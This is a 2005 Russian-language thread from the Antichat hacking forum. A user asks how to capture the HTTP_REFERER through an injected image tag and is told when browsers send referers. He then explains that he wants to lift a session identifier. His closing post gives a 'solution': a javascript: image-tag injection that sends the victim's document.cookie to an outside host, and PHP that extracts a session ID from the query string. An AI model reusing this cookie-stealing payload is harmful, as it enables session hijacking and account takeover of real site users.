Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

30.01.2005, 01:24
|
|
Постоянный
Регистрация: 24.10.2004
Сообщений: 578
Провел на форуме: 2263418
Репутация:
300
|
|
Http_referer
Как стянуть HTTP_REFERER при переходе со страницы
Например
<image src=javascript:window.location.href="http://www.adres.ru/l.php">
l.php :
<?
echo $HTTP_REFERER;
?>
Ничего не выводиться ...., почему ???
|
|
|

30.01.2005, 01:52
|
|
Новичок
Регистрация: 21.01.2005
Сообщений: 2
Провел на форуме: 0
Репутация:
0
|
|
попробуй так:
<?
global $HTTP_REFERER;
echo $HTTP_REFERER;
?>
Иногда переменные окружения надо заранее объявлять как глобальные
|
|
|

30.01.2005, 02:21
|
Регистрация: 29.05.2002
Сообщений: 1,793
Провел на форуме: 2050916
Репутация:
0
|
|
При таком переходе <image src=javascript:window.location.href="http://www.adres.ru/l.php"> Реферер НЕ передается.
Реферер передается только если пользователь кликает на ссылку, либо если текущая страница запрашивает какой-либо файл. При редиректах, реферер не передается.
В данном случае нужно использваоть например такой тег:
<image src="http://www.adres.ru/l.php">
|
|
|

30.01.2005, 04:20
|
|
Постоянный
Регистрация: 24.10.2004
Сообщений: 578
Провел на форуме: 2263418
Репутация:
300
|
|
Сообщение от Algol
При таком переходе <image src=javascript:window.location.href="http://www.adres.ru/l.php"> Реферер НЕ передается.
Реферер передается только если пользователь кликает на ссылку, либо если текущая страница запрашивает какой-либо файл. При редиректах, реферер не передается.
В данном случае нужно использваоть например такой тег:
<image src="http://www.adres.ru/l.php">
Спасибо !
|
|
|

31.01.2005, 01:29
|
|
Постоянный
Регистрация: 24.10.2004
Сообщений: 578
Провел на форуме: 2263418
Репутация:
300
|
|
Дело в том, что сначало надо стянуть referer, а потом использовать его для перехода:
Код HTML:
<image src=javascript:window.location.href="http://www.adres.ru/l.php">
Если сначало стянуть referer так, то загрузить страницу нельзя в текущее окно IE :
Код HTML:
<image src="http://www.adres.ru/l.php">
А если сохранять referer в файл где то на хостинге, то файлы обновляется не мгновенно........, то есть так не пройдёт :
Код HTML:
]<image src="http://www.adres.ru/referer.php">
<image src=javascript:window.location.href="http://www.adres.ru/l.php">
Вот какая проблема 
Последний раз редактировалось Майор; 31.01.2005 в 01:32..
|
|
|

03.02.2005, 00:12
|
Регистрация: 29.05.2002
Сообщений: 1,793
Провел на форуме: 2050916
Репутация:
0
|
|
Если честно, то ничего не понял из последнего постинга ))
|
|
|

03.02.2005, 03:27
|
|
Постоянный
Регистрация: 24.10.2004
Сообщений: 578
Провел на форуме: 2263418
Репутация:
300
|
|
Сообщение от Algol
Если честно, то ничего не понял из последнего постинга ))
Проблема в том, что надо и идентификатор сесии стянуть со страницы, и с этойже страницы зделать редирект на другую с этим(подставленным) идентификатором 
Последний раз редактировалось Майор; 03.02.2005 в 03:38..
|
|
|

03.02.2005, 18:07
|
Регистрация: 29.05.2002
Сообщений: 1,793
Провел на форуме: 2050916
Репутация:
0
|
|
Идентификатор этот передать ты хочешь через что ?
Через куку или через реферер ?
|
|
|

03.02.2005, 20:53
|
|
Постоянный
Регистрация: 24.10.2004
Сообщений: 578
Провел на форуме: 2263418
Репутация:
300
|
|
Сообщение от Algol
Идентификатор этот передать ты хочешь через что ?
Через куку или через реферер ?
Ну коли через реферер никак, то через куки как-нибудь ...
|
|
|

03.02.2005, 23:53
|
|
Постоянный
Регистрация: 24.10.2004
Сообщений: 578
Провел на форуме: 2263418
Репутация:
300
|
|
Точно! решение найдено
<image src=javascript
:window.location.href="http://adress.ru/test.php?"+document.cookie;>
<?
$nomer=strpos("$QUERY_STRING","rm_")+3;
$id=substr("$QUERY_STRING","$nomer",35);
?>
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|